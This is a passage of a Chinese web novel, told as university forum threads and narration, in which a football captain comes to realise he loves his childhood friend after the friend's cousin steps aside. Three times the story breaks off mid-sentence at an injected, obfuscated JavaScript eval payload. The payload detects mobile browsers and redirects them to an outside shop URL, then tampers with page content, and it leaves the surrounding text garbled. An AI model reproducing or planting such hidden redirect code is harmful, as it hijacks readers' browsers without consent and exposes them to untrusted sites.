顾辞没再说话。 我也没说话。 窗外的阳光还是很亮。 我突然很想抽自己一巴掌。 ——昨天我还觉得他是在认输。 他哪里是在认输。 他是在送他的少年，去赴另一场人生。 90楼匿名用户： ……我不行了。 这张照片，这声“圆圆满十八岁了”。 他爱了他整个青春。 然后他亲手送他长大，送他去爱另一个人。 楼主，我求你了，以后对顾辞好一点。 为了顾远洲那份，也一起。 91楼匿名用户： 楼主，你现在还觉得他是你情敌吗？ 92楼楼主： 他不是我情敌。 他从一开始就不是。 他只是个等了很久、然后决定不等了的人。 93楼匿名用户： 楼主，你终于明白了。 94楼匿名用户： 所以现在的问题只剩下一个了： 楼主，你什么时候开窍？ 95楼楼主： …… 我要去训练了。 96楼匿名用户： 回95楼：逃避可耻但有用是吧。 行，我们等你。 等你终于想明白—— 你那些吃醋、不爽、替他难过、想对他好—— 到底是因为什么。 张扬把手机揣进口袋，走向操场。 阳光很烈，草坪被晒出一股青草香。 队友们在热身，有人在喊他：“张队，传球！” 他跑进场，接过球，带了两步。 起脚。 球划过一道弧线，精准地钻进网窝。 “漂亮！” 他没笑。 他站在原地，看着那个还在微微晃动的球网。 顾远洲现在应该已经在高铁上了。 他会不会靠着车窗睡一会儿？ 他有没有吃那笼包子？ 他以后还会回来吗？ 他刚才走出食堂大门的时候，为什么没有回头？ 张扬突然觉得胸口有点闷。 他想起顾辞说那句话时的声音。 “我一个人去看了海。” 一个人。 他低下头，把球捡起来。 他想，以后有机会，要带顾辞去看海。 不是一个人。 是两个人。 4. 我好像有点不对劲1 标题：【树洞】我好像有点不对劲，求骂醒 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们，我又来了。 我知道我上次说“要去训练了”之后就消失了三天，主要是因为我真的需要冷静一下。 结果这三天，不仅没冷静，反而越来越不对劲了。 事情要从顾远洲走的那天晚上说起。 【一、那条朋友圈】 顾远洲走的那天晚上，我躺在床上刷手机。 其实也不是故意要刷他，就是……手贱点开了他的头像。 他的朋友圈更新了一条。 没有文字，只有一张照片。 是临市的樱花。一棵很大的树，开满了粉白色的花，花瓣落了一地。 定位是临市的一个公园。 我盯着那张照片看了很久。 不知道为什么，脑子里一直回响着他早上说的那句话—— “以后不用送了。” 还有他走出食堂大门时，那个没有回头的背影。 他不是去临市工作吗？为什么一个人去公园看樱花？ 他以前说过的，等圆圆长大了，要带他去看海。 现在海没看成，就一个人看樱花？ 我翻了个身，把手机扣在胸口。 操，我为什么要替他难过？ 他又不是我什么人。 但那张照片，那个没有文字的空白，就像他这个人一样—— 什么都咽下去了，什么都不说。 我鬼使神差地点了个赞。 然后就后悔了。 点赞个屁啊！我跟他很熟吗？！ 想取消，又觉得太刻意。 最后只能安慰自己：没事，他朋友圈那么多人，不一定看得见。 结果五分钟后，他给我发了一条消息： 【顾远洲】：还没睡？ 我盯着那条消息，手机差点砸脸上。 【张】：……嗯。 【顾远洲】：训练累吗？ 【张】：还好。 【顾远洲】：圆圆睡了吗？ 【张】：应该睡了，他明天早课。 【顾远洲】：好。 然后就没下文了。 我盯着那个“好”字，不知道该回什么。 过了很久，他又发了一条： 【顾远洲】：那张照片，是替他拍的。 【顾远洲】：他说想去看樱花，一直没时间。 【顾远洲】：我替他看了。 我拿着手机，不知道该说什么。 只是觉得胸口那里，堵得慌。 —— 【二、那个电话】 第二天中午，我跟顾辞一起吃饭。 我本来想问问他知不知道顾远洲发朋友圈的事，又怕他觉得我多管闲事。 正纠结着，顾辞的手机响了。 他看了一眼来电显示，眉头微微皱了一下，起身走到旁边去接。 我隔着玻璃门看他。 他站在走廊里，背对着我，听电话那头说了什么。 然后我看见他肩膀绷紧了。 他的声音传过来，隔着门听不太清，但我听见了一句： “严重吗？……我明天过去。” 我手里的筷子差点掉了。 他挂了电话回来，脸色不太好看。 我憋不住了，问：“怎么了？” 他看了我一眼，沉默了两秒，说：“表哥住院了。阑尾炎，小手术。” “啊？” “我明天去临市一趟。” 他说得轻描淡写，但我看见他握着筷子的手指节有点发白。 他自己可能都没发现。 我脑子里嗡的一下，什么都没想，话就脱口而出： “我陪你去。” 他抬起头看着我。 那眼神怎么说呢，不是惊讶，也不是感动，就是直直地看着我，像在看一个不太认识的人。 我被看得发毛，声音低下来：“……你一个人去，我不放心。” 他还是那样看着我。 过了很久，他低下头，继续吃饭。 我以为他拒绝了。 结果他夹了一筷子菜，轻声说： “你下周有比赛。” “比赛可以不打。” 他又抬起头看我。 这回那个眼神不一样了——多了点什么，我说不清。 “张扬，”他说，“你为什么想来？” 我愣住了。 为什么？ 因为他一个人去临市，我不放心。 因为他表哥刚做完手术，他一个人在医院陪护，肯定会累。 因为……因为他刚才接电话的时候，肩膀绷成那样，我看着心里难受。 但这些话说出来太矫情了。 我憋了半天，憋出一句： “……你上次不是说，你一个人去看的海吗。” “这次我陪你去，就不是一个人了。” 话说出口我才意识到这逻辑有多烂。 临市又不是海边，我们是去看病人又不是去看海。 顾辞听了之后，沉默了很久。 然后他低下头，继续吃饭。 我以为我又说错话了。 过了好一会儿，他轻轻地说： “好。” 那个“好”字，和平时不太一样。 但我说不出哪里不一样。 —— 【三、高铁上】 第二天一早，我们坐上了去临市的高铁。 顾辞靠窗坐着，我坐他旁边。 他昨晚没睡好，眼睛下面有点青。上高铁没多久，他就靠着窗户睡着了。 阳光从窗外照进来，在他脸上落下一层淡淡的金色。 他睡着的时候，整个人看起来比平时软很多。 睫毛很长，垂下来覆在下眼睑上。呼吸很轻，胸口一起一伏。 我看着他，突然想起顾远洲说的那句话。 “你对他好，是真的好。” 是吗？ 我对他好，是因为习惯了。 是因为从六岁起就这样，改不掉了。 是因为…… 是因为什么？ 我不知道。 我就那么看着他，看了很久。 窗外的风景一直在变，田野变成山，山变成隧道，隧道又变成城市。 他的头慢慢从窗户上滑下来，靠到了我的肩膀上。 我僵住了。 他发间的洗发水味道飘进鼻子里，是那种很淡的清香。 他的呼吸就在我耳边，一下一下的。 我不敢动。 我怕一动，他就醒了。 我怕他醒了，这个距离就没有了。 我盯着前座的靠背，心跳得很快。 快到我自己都觉得离谱。 不就是靠一下肩膀吗？有什么好紧张的？ 以前训练累了，我们不是没靠着睡过。 但不一样。 我不知道哪里不一样，但就是不一样。 到了临市，他醒了。 他睁开眼，发现自己靠在我肩膀上，愣了一下。 然后他坐直了，说：“……抱歉。” “没事。”我说。 但我心里有点空落落的。 —— 【四、医院】 医院里消毒水的味道很重。 顾远洲躺在病床上，脸色有点白。看见我俩一起出现，他愣了一下。 然后他笑了。 那个笑，我不知道怎么形容。 不是高兴，也不是意外。 更像是…… “你们俩一起来的啊。”他说。 语气很轻，像在说一件和他无关的事。 顾辞去办手续了，病房里只剩我和他两个人。 气氛有点尴尬。 他看着我，我看着他。 我憋了半天，憋出一句：“你……好点没？” “小手术，没事。”他说，“坐吧。” 我坐下，不知道接下来该说什么。 他看着天花板，忽然说：“他让你来的？” “不是，”我说，“我自己要来的。” 他转过头看我，眼神里有点什么。 “他自己来的。” 我又补了一句。 他沉默了一会儿。 然后他笑了，这回是真的笑。 “张扬，”他说，“你知道吗，我嫉妒过你。” 我愣住了。 “从小到大，圆圆身边的位置，一直都是你的。我每次回来，都觉得自己像个外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382516|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 他顿了顿。 “但是那天早上，你多买了一笼包子给我。” 他笑了一下。 “我吃了那笼包子，突然就不嫉妒了。” 我不知道该接什么话。 他继续说：“因为你对他好，是真的好。不是那种占有欲的好。是那种，连他身边的人也会照顾到的好。” “所以，”他看着我的眼睛，“你以后要一直这样对他。” 我说不出话来。 我只是点了点头。 —— 【五、回程路上】 从临市回来的高铁上，顾辞又睡着了。 这回他没靠到我肩上，还是靠着窗户。 但我不困。 我看着他，想了很多事。 顾远洲说，他对我是那种“连他身边的人也会照顾到的好”。 是吗？ 我给顾远洲买那笼包子的时候，脑子里在想什么？ 是想让顾辞高兴？还是想让顾远洲不要那么难过？ 还是……其实我也不知道。 顾远洲说他不嫉妒了。 但我呢？ 我看着顾辞的侧脸，想起他接电话时绷紧的肩膀，想起他在医院里跑前跑后的样子。 如果有一天，他对别人也这样—— 对别人好，为别人担心，陪别人去外地—— 我会怎么样？ 我不知道。 但只是这么一想，我心里就不太舒服。 比看见顾远洲挽他胳膊那晚，还不舒服。 窗外又经过一片田野，阳光把麦浪照成金色的。 我看着那片金色，突然想起一个问题： 顾远洲喜欢了顾辞多少年？ 十几年吧。 从老宅的夏天，到现在。 他一个人在国外那么久，看着顾辞的照片，想着顾辞过得好不好。 最后他回来，确认顾辞身边有人了，就转身走了。 他图什么？ 什么都不图。 就是喜欢。 就是……喜欢。 我转过头，又看了一眼顾辞。 他还在睡。 阳光落在他脸上，他的眉头微微皱着，不知道是不是做了什么梦。 我突然想伸手，把他眉头抚平。 但我没动。 我就那么看着。 看着看着，我心里冒出个念头： 如果有一天，顾辞也像顾远洲那样，喜欢上一个人，喜欢十几年，那个人不是我—— 我会怎么样？ 这个念头刚冒出来，我就被自己吓到了。 我为什么要在意这个？ 他喜欢谁是他的自由。 我凭什么在意？ 但我就是在意。 在意的要命。 —— 【六、深夜】 现在回到宿舍了。 顾辞回他那边了，说谢谢我陪他去。 我说没事。 然后我就躺在这儿，刷手机。 刷着刷着，又刷到顾远洲那条朋友圈。 樱花还是那树樱花，花瓣落了一地。 我看着那张照片，脑子里反复回想他说的那些话： “他让你来的？” “我自己要来的。” “你以后要一直这样对他。” 还有他最后说的那句： “张扬，你知道吗，我嫉妒过你。” 可是我现在看着那条朋友圈，突然觉得—— 我也有点嫉妒他。 嫉妒他和顾辞的那些过去。 老宅的夏天，巷口的冰棍，外公书房的窗台。 那些我没有参与过的时光。 操。 我在想什么？ 他是我情敌——不对，他不是。 他只是喜欢顾辞，又放弃了而已。 我有什么好嫉妒的？ 但那个念头就是挥之不去。 我翻了个身，把脸埋进枕头里。 兄弟们。 我好像有点不对劲。 我不知道这是怎么了。 我就是…… 就是心里堵得慌。 不是因为顾远洲。 是因为…… 我不知道因为什么。 求骂醒。 5. 我好像有点不对劲2 标题：【树洞】我好像有点不对劲，求骂醒 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 1楼匿名用户： 沙发！ 楼主你终于回来了！ 等你好几天了！ 2楼匿名用户： 看完主楼，我只想说一句： 楼主，你完了。 你彻底完了。 3楼匿名用户： “如果有一天，顾辞也像顾远洲那样，喜欢上一个人，喜欢十几年，那个人不是我——” 楼主，你这句话已经暴露了一切。 你怕的不是顾辞喜欢别人。 你怕的是顾辞喜欢的那个人不是你。 4楼匿名用户： 回3楼：正解。 如果只是兄弟情，你会希望他幸福，不管跟谁。 但你现在的心理活动是——“那个人不是我怎么办”。 这不是兄弟情。 这是爱情。 5楼楼主： 回4楼：不可能。 我就是习惯了他在我旁边。 突然想到他可能不在，有点不适应而已。 6楼匿名用户： 回5楼：“有点不适应”？ 你陪人家坐高铁去外地，在医院听情敌说“你要一直对他好”，回来路上盯着人家侧脸看了一路，晚上躺床上想“如果那个人不是我怎么办”—— 这叫“有点不适应”？ 这叫沦陷了兄弟。 7楼匿名用户： 顾远洲那段看得我眼泪汪汪。 他嫉妒你，你嫉妒他。 你们俩都觉得自己是输家。 但其实你们都输了，也都赢了。 他输了爱情，赢了体面。 你赢了什么呢？ 你自己还不知道。 8楼匿名用户： 回7楼：他赢了顾辞啊！ 顾辞现在就在他身边！ 顾辞靠着他肩膀睡着了！ 顾辞说“好”的时候语气不一样了！ 这还不叫赢？ 9楼匿名用户： 等等，我有一个重要发现。 楼主，你描述顾辞睡觉那段——“睫毛很长，垂下来覆在下眼睑上。呼吸很轻，胸口一起一伏。” 正常人会这么仔细看兄弟睡觉吗？ 正常人会记得住兄弟睡着时睫毛长什么样吗？ 你自己品。 10楼楼主： 回9楼：…… 我就是随便看了一眼。 11楼匿名用户： 回10楼：随便看了一眼然后写了五十个字描述？ 兄弟，你的“随便”跟我们理解的“随便”可能不是一个意思。 12楼匿名用户： 我现在最心疼的是顾远洲。 他说“我吃了那笼包子，突然就不嫉妒了”。 他是在告诉自己：算了吧，他对他真的很好，我该放心了。 但是楼主，你知道他为什么能放心吗？ 因为他看出来你对顾辞是认真的。 那种自己都没意识到的认真。 比刻意的好更珍贵。 13楼匿名用户： 回12楼：是的。 顾远洲是过来人，他一眼就看出来了。 所以他对你说“你要一直这样对他”。 因为他知道，你能做到。 也因为他希望，顾辞能幸福。 14楼匿名用户： 楼主，你现在还觉得顾远洲是你情敌吗？ 15楼楼主： 回14楼：不是。 他从来都不是。 我现在甚至有点…… 我不知道怎么说。 就是希望他能好好的。 一个人看樱花，太惨了。 16楼匿名用户： 回15楼：楼主，你知道你这叫什么吗？ 叫“爱屋及乌”。 因为你喜欢顾辞，所以你会心疼那个喜欢顾辞的人。 因为你知道，那种喜欢是什么滋味。 17楼匿名用户： 等等，我捋一下逻辑： 顾远洲喜欢顾辞十几年，放手了。 楼主和顾辞青梅竹马十w年，现在好像要开窍了。 顾辞呢？顾辞喜欢谁？ 没有人问过顾辞。 楼主，你问过顾辞吗？ 18楼楼主： 回17楼：…… 没有。 我不敢问。 19楼匿名用户： 回18楼：你为什么不敢问？ 20楼楼主： 回19楼：…… 万一他说喜欢顾远洲呢？ 万一他说有别人呢？ 万一他说…… 我不知道。 21楼匿名用户： 回20楼：你看，你又来了。 “万一他说喜欢别人”—— 你为什么怕这个？ 因为你在意。 因为你想让他喜欢的人是你。 22楼匿名用户： 破案了。 楼主你不需要被骂醒。 你已经醒了。 你只是不敢承认而已。 23楼匿名用户： 那现在怎么办？ 楼主你要表白吗？ 24楼楼主： 回23楼：…… 我不知道。 让我再想想。 我现在脑子很乱。 25楼匿名用户： 慢慢想。 十四年都等了，不差这几天。 但是楼主，顾远洲有一句话说得很对： 你要一直这样对他。 不管最后是不是在一起，都要对他好。 因为他值得。 26楼匿名用户： 我哭了。 这楼从第一帖追到现在，看着楼主从“我是直男”到“我好像有点不对劲”。 这就是成长啊兄弟们。 这就是爱情啊。 27楼匿名用户： 所以现在的问题是： 顾辞到底知不知道？ 顾辞是什么态度？ 楼主什么时候去问？ 28楼匿名用户： 回27楼：我觉得顾辞知道。 那句话怎么说来着——“好”字说得很不一样。 靠肩膀睡觉的时候靠那么自然。 还有那句“你为什么想来”。 他不是在质问，他是在确认。 确认张扬是不是真的在意他。 29楼匿名用户： 回28楼：有道理！ “你为什么想来”这个问题，翻译一下就是： “你是不是因为在意我才来的？” 30楼匿名用户： 然后楼主的回答是：“你上次不是说，你一个人去看的海吗。这次我陪你去，就不是一个人了。” 这个回答，满分啊兄弟们。 没有说喜欢，但句句都是喜欢。 31楼匿名用户： 回30楼：是的！ “不是一个人了”—— 他在告诉顾辞：以后有我。 顾辞听懂了。 所以他说“好”。 32楼匿名用户： 你们分析得太细了，我血糖要爆了。 楼主，你欠我们一个真相！ 明天就去问！ 现在就去问！ 33楼楼主： 回32楼：…… 现在凌晨两点了。 他去睡觉了。 明天再说吧。 34楼匿名用户： “明天再说”。 楼主，你上一帖也是这么说的。 你这一“明天再说”，就说了三天。 这次不许拖了！ 明天，明天必须行动！ 35楼匿名用户： 话说回来，顾远洲那边怎么样了？ 楼主你有问他恢复得怎么样吗？ 36楼楼主： 回35楼：…… 刚才给他发了条消息，问他好点没。 他回：“好多了，谢谢。” 我又不知道该回什么了。 37楼匿名用户： 回36楼：你就回：“下次回来请你吃小笼包。” 让他知道，这里有人记得他。 让他知道，他不是一个人。 38楼楼主： 回37楼：…… 好。 我回了。 他说：“好。” 就一个字。 但我看着那个字，好像看见他在笑。 39楼匿名用户： 楼主，你真好。 真的。 从第一帖那个“足球莽夫”，到现在会给情敌发消息问好。 顾远洲说得对，你对他好，是真的好。 对顾辞好，对顾辞身边的人也好。 所以，你值得。 40楼匿名用户： 所以现在问题是： 楼主，你准备什么时候对自己也好一点？ 承认自己喜欢他，又不丢人。 41楼楼主： 回40楼：…… 我考虑一下。 明天……明天先看看情况。 如果他状态好，我可能…… 可能问问他。 42楼匿名用户： 啊啊啊啊啊！ 明天！ 明天有大事发生！ 楼主你说话要算话！ 43楼匿名用户： 蹲！ 我今晚不睡了，等明天楼主更新！ 44楼匿名用户： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382517|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹们，准备好瓜子饮料矿泉水！ 明天可能是历史性的一天！ 45楼楼主： 你们别这样…… 我压力很大。 万一他拒绝呢？ 万一他觉得我恶心呢？ 46楼匿名用户： 回45楼：他不会的。 一个人愿意让你靠肩膀，愿意让你陪他去外地，愿意对你说“好”说得不一样—— 他不会觉得你恶心。 他只会觉得…… 他等这一天，等了很久。 47楼楼主： …… 但愿吧。 我睡了。 明天再说。 —— 张扬把手机扣在胸口。 宿舍很黑，室友的呼吸声均匀绵长。 他盯着天花板，想起高铁上顾辞靠在他肩上的重量。 很轻，轻得像一片羽毛。 但他记得那个温度。 记得他发间的香味。 记得他呼吸的频率。 记得他醒过来时，愣了一下，然后说“抱歉”时，那个有点慌乱的眼神。 他当时想说：不用抱歉，你可以继续靠着。 但他没敢说。 他什么都没敢说。 十四年了。 他第一次发现自己这么怂。 窗外的月光从窗帘缝隙里漏进来，落在地上，薄薄的一层。 他想起了顾远洲那条朋友圈。 临市的樱花。 一个人看的。 他又想起顾辞说的那句话： “我一个人去看了海。” 张扬闭上眼睛。 他在心里对自己说： 明天。 明天一定要问他。 问他—— 你喜欢谁？ 那个谁，有没有可能是我？ —— 手机屏幕又亮了一下。 是顾辞的消息。 【圆圆】：还没睡？ 张扬的心跳漏了一拍。 他打字，删掉，再打字，再删掉。 最后发出去： 【张】：睡不着。 【圆圆】：我也是。 【张】：在想什么？ 【圆圆】：在想今天。 【张】：今天怎么了？ 【圆圆】：今天你陪我去了临市。 【张】：嗯。 【圆圆】：谢谢你。 【张】：不用谢。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你为什么想来？ 又是这个问题。 白天在食堂问过一次的问题。 张扬盯着那行字，手指悬在屏幕上方。 过了很久，他打字： 【张】：因为不想让你一个人。 【圆圆】：…… 【张】：你表哥说，你一个人去看了海。 【张】：我不想你再一个人了。 【张】：不管是去看海，还是去看他，还是别的什么。 【张】：以后都有我。 发出去之后，他心跳快得像刚跑完一千米。 手机屏幕上，那个对话框安安静静的。 对方正在输入……闪了很久。 然后消息弹出来： 【圆圆】：好。 就一个字。 但张扬看着那个字，突然觉得眼眶有点酸。 他也不知道为什么。 —— 论坛上，新回复还在增加。 58楼匿名用户： 楼主怎么不说话了？ 是不是去问顾辞了？ 59楼匿名用户： 急死我了！ 楼主你倒是吱一声啊！ 60楼匿名用户： 姐妹们，我刚才好像刷到了什么。 楼主朋友圈更新了。 61楼匿名用户： 什么内容？快说！ 62楼匿名用户： 一张照片。 窗外的月光。 配文只有两个字： “晚安。” 63楼匿名用户： …… 这个点，发月光，说晚安。 他是在跟谁说？ 64楼匿名用户： 还能跟谁说。 当然是那个让他睡不着的人。 65楼匿名用户： 所以，他是问了吗？ 还是没问？ 66楼匿名用户： 不知道。 但我觉得，不管问没问，今晚对他们俩来说，都不一样了。 67楼匿名用户： 是的。 有些话不用说出口，也能懂。 68楼匿名用户： 那明天呢？ 明天楼主会来更新吗？ 6. 我好像把一切都搞砸了1 标题：【树洞】我好像把一切都搞砸了 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 我完了。 我真的完了。 如果之前只是“不对劲”，那现在就是“彻底完蛋”。 你们做好心理准备，这个故事有点长，也有点蠢。 蠢到我写完可能自己都想抽自己两巴掌。 —— 【一、那个周末】 事情发生在上周六。 为什么我记得这么清楚？因为那天本来应该是个好日子。 球队赢了比赛，我进了两个球。晚上没有训练，第二天是周日不用早课。 我想着，这么好的机会，是不是该约A出来吃个饭？ 顺便……问点事情。 自从临市回来之后，我心里一直装着事。 那句“以后都有我”发出去之后，A回了一个“好”。 然后呢？ 然后就没有然后了。 我们还是像以前一样，一起吃早饭，一起自习，他帮我占座，我给他买包子。 什么都没变。 但又好像什么都变了。 比如他开始偶尔会问我“训练累不累”。 比如他给我占座的时候，会留靠窗的位置，说“你不是喜欢晒太阳吗”。 比如他看我进球的朋友圈，会点个赞，然后私聊发一句“踢得还行”。 就四个字。 但我会盯着那四个字看很久。 兄弟们，你们懂这种感觉吗？ 就是那种……你开始注意到以前从不在意的细节。 他开始变得不一样了。 或者说，你开始觉得他不一样了。 所以那天晚上，我洗完澡躺在床上，想了很久，终于鼓起勇气给他发消息： 【张】：明天中午有空吗？请你吃饭。 【圆圆】：嗯。 【张】：就我们俩。 【圆圆】：……好。 那个省略号让我心跳漏了一拍。 我想，他可能猜到我想说什么了。 我想，也许真的像论坛里说的那样——他等这一天，等了很久。 那天晚上我几乎没睡着。 翻来覆去地想明天要怎么说。 “我喜欢你”？ 太直接了，会吓到他吧。 “我们在一起吧”？ 万一他拒绝呢。 “你有没有想过，我们不只是兄弟”？ 这个好像还行…… 我把所有能想到的台词都在脑子里过了一遍。 最后决定：看情况，临场发挥。 反正我张扬这辈子最擅长的就是临场发挥。 —— 【二、那束花】 第二天中午，我提前半小时到了约好的那家餐厅。 是一家新开的日料店，环境很好，A应该会喜欢。 我还特意换了件新买的卫衣，没穿那件被他嫌弃过八百次的旧外套。 然后我坐在位置上等他。 等啊等。 等到了十二点十分，他还没来。 这不正常。A是那种说好几点就几点的人，从来不迟到。 我给他发消息： 【张】：到了吗？ 他没回。 又过了十分钟，他还是没回。 我开始有点慌了。 不是那种“他是不是放我鸽子”的慌，是那种“他是不是出事了”的慌。 我给他打电话。 不接。 再打。 还是不接。 我坐不住了，站起来就往外冲。 结果刚冲到餐厅门口，就看见他了。 他站在餐厅对面的那棵梧桐树下。 身边站着一个人。 是个女生。 长得很好看的那种。长发披肩，穿着一条白裙子，整个人看起来干干净净的。 她手里拿着一束花。 粉色的玫瑰。 她正把那束花往A面前递。 而A站在那里，没有接，也没有躲。 就那么站着。 我整个人像被钉在地上一样。 动不了。 也出不了声。 —— 【三、那个女生】 我不知道自己在餐厅门口站了多久。 可能是几秒，也可能是几分钟。 我只知道我的脑子一片空白。 然后那个女生开口了。 隔了一条马路的距离，我听不清她说什么，但我看见她的嘴型。 她说的是：“我喜欢你。” 那三个字，就算隔着马路，我也认出来了。 她说完之后，A没有立刻回答。 他侧着头，我看不见他的表情。 但从他的肢体语言来看，他没有后退，也没有皱眉。 他只是……在听。 我脑子里轰的一声响。 原来如此。 原来他不是在等我。 原来他今天迟到，是因为有人在跟他告白。 原来…… 我不知道自己在想什么。 我只知道，我的手在抖。 腿也在抖。 整个人都在抖。 我他妈一个190的体育生，足球队队长，见过大风大浪的人—— 站在一家日料店门口，因为看见有人给A送花，抖得像筛糠。 —— 【四、我做了什么】 然后我做了一件非常蠢的事。 蠢到我现在想起来都想抽自己。 我没有走过去。 我没有冲上去问那个女生是谁。 我没有…… 我只是转身，回了餐厅。 坐回那个位置。 然后给A发了一条消息： 【张】：临时有点事，改天再约吧。 发完之后，我把手机扣在桌上，盯着面前的茶杯发呆。 我不知道我为什么要这么做。 可能是怕。 怕走过去，听见他说“好”。 怕看见他接过那束花。 怕那个答案不是我想要的。 可我明明什么都没问。 我不知道他会不会接那束花。 我不知道他喜不喜欢那个女生。 我什么都不知道。 但我就是怕。 怕得要死。 —— 【五、他的消息】 我在餐厅里坐了很久。 久到服务员过来问我“先生，您还点餐吗”。 我说“不用了”，结了茶位费，走出去。 那条消息发出去之后，A没有回我。 我想，他可能正忙着。 忙着拒绝那个女生，或者忙着接受那束花。 不管是哪一种，都和我没关系了。 我漫无目的地在学校里走。 走到操场，看见有人在踢球。 走到图书馆，看见以前我和A一起坐的位置上坐着别人。 走到未名湖边，看见一对情侣在喂鱼。 我突然觉得自己很多余。 十四年了。 我第一次觉得自己很多余。 手机震了一下。 是A的消息。 【圆圆】：你在哪？ 我盯着那三个字，不知道该回什么。 又震了一下。 【圆圆】：刚才有人找我说话，没看手机。 【圆圆】：你那边什么事？严重吗？ 【圆圆】：张扬？ 我看着那一连串的消息，眼眶突然有点酸。 他在问我。 他在担心我。 他不知道我刚才看见了什么。 他不知道我像个傻子一样站在餐厅门口，看着别人给他送花，然后落荒而逃。 他不知道我现在的心情乱成一团。 他不知道…… 他不知道我喜欢他。 —— 【六、我回的消息】 我在湖边站了很久。 久到太阳开始往下落。 然后我给他回了消息： 【张】：没事，小事，解决了。 【张】：你那边呢？吃饭了吗？ 他秒回： 【圆圆】：还没。你呢？ 【张】：也没。 【圆圆】：那晚上一起吃？ 【张】：好。 发完这个“好”字，我蹲在湖边，把头埋进膝盖里。 我他妈真是个怂包。 明明约好了中午吃饭，明明准备了那么多话想说。 结果呢？ 看见有人给他送花，连上去问一句的勇气都没有。 人家女生都敢直接告白。 我呢？ 我连走到他面前都做不到。 我算什么喜欢他。 —— 【七、晚上的饭】 晚上我们去了常吃的那家小馆子。 他点了常点的几个菜。 我坐在他对面，假装什么事都没发生过。 “中午什么事？”他问。 “球队临时有点事。”我说谎说得脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382518|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不红心不跳。 “哦。”他看了我一眼，没再问。 沉默了一会儿。 他忽然说：“中午有人来找我。” 我的心跳漏了一拍。 “嗯？” “法学院的一个女生。”他夹了一筷子菜，语气很平淡，“给我送了束花。” 我假装不经意地问：“然后呢？” “然后？”他看了我一眼，“我没收。” 筷子差点从我手里滑下去。 “为什么没收？” 他没立刻回答。 低着头吃了一会儿菜，才说：“我不喜欢她。” 我不喜欢她。 这四个字，像一束光一样照进我心里。 但紧接着，他又说了一句话： “而且，我有喜欢的人了。” —— 【八、那句没说完的话】 我有喜欢的人了。 我他妈整个人都僵在那里。 有喜欢的人了？ 谁？ 什么时候的事？ 我怎么不知道？ 是不是那个女生？ 还是别人？ 还是…… 我不敢往下想。 他看了我一眼，眼神里有种我看不懂的东西。 然后他放下筷子，说：“你不想知道是谁吗？” 我想。 我想得要死。 但我说不出话来。 我怕。 怕他说出一个名字，不是我。 怕他说出一个我认识的人，或者我不认识的人。 怕这十四年，只是我一厢情愿。 他等了一会儿，看我没说话，轻轻叹了口气。 “算了。”他说，“等你什么时候想问了，再告诉我。” 然后他继续吃饭，像什么都没发生过一样。 我坐在他对面，一口都吃不下。 我想说：我想知道，你现在就告诉我。 但我没说出来。 我不敢。 —— 【九、回宿舍之后】 晚上回到宿舍，我躺在床上，盯着天花板。 脑子里反复回放他的话： “我有喜欢的人了。” 是谁？ 到底是谁？ 如果是那个女生，他为什么不收花？ 如果是别人，他为什么不说名字？ 他说“等你想问了再告诉我”。 他在等我问。 但我没问。 我他妈居然没问。 我把脸埋进枕头里，想抽自己两巴掌。 论坛上的人说得对。 我怂。 怂得要命。 十四年的兄弟，说句话都不敢。 喜欢他喜欢得自己都发现了，但就是不敢让他知道。 人家女生都敢当面告白。 我呢？ 我连问一句“你喜欢谁”都问不出口。 —— 【十、现在】 现在是凌晨两点。 我睡不着。 满脑子都是那句话。 “我有喜欢的人了。” 还有他看我的那个眼神。 那个眼神里有期待，有试探，还有一点点……失落？ 我不知道是不是我看错了。 可能是我自作多情。 可能他喜欢的人就是别人。 可能我根本没机会。 但是…… 如果他喜欢的人是我呢？ 如果他一直在等我呢？ 如果今天中午，他迟到不是因为那个女生，而是因为那个女生突然出现，他不得不应付？ 如果我走过去，看见的不是告白现场，而是他在拒绝别人？ 如果…… 没有如果了。 我没走过去。 我没问。 我什么都没做。 我只是逃了。 —— 兄弟们。 我现在该怎么办？ 我好像把一切都搞砸了。 明天我该怎么面对他？ 我该怎么问出那句话？ 我该不该问？ 万一他说出别人的名字，我是不是就该彻底死心了？ 可万一是我的名字呢？ 我连万一都不敢想。 因为我不配。 一个连告白都不敢的人，凭什么得到他的喜欢？ 我完了。 真的完了。 求骂醒。 或者求告诉我，还有没有救。 在线等。 急。 7. 我好像把一切都搞砸了2 标题：【树洞】我好像把一切都搞砸了 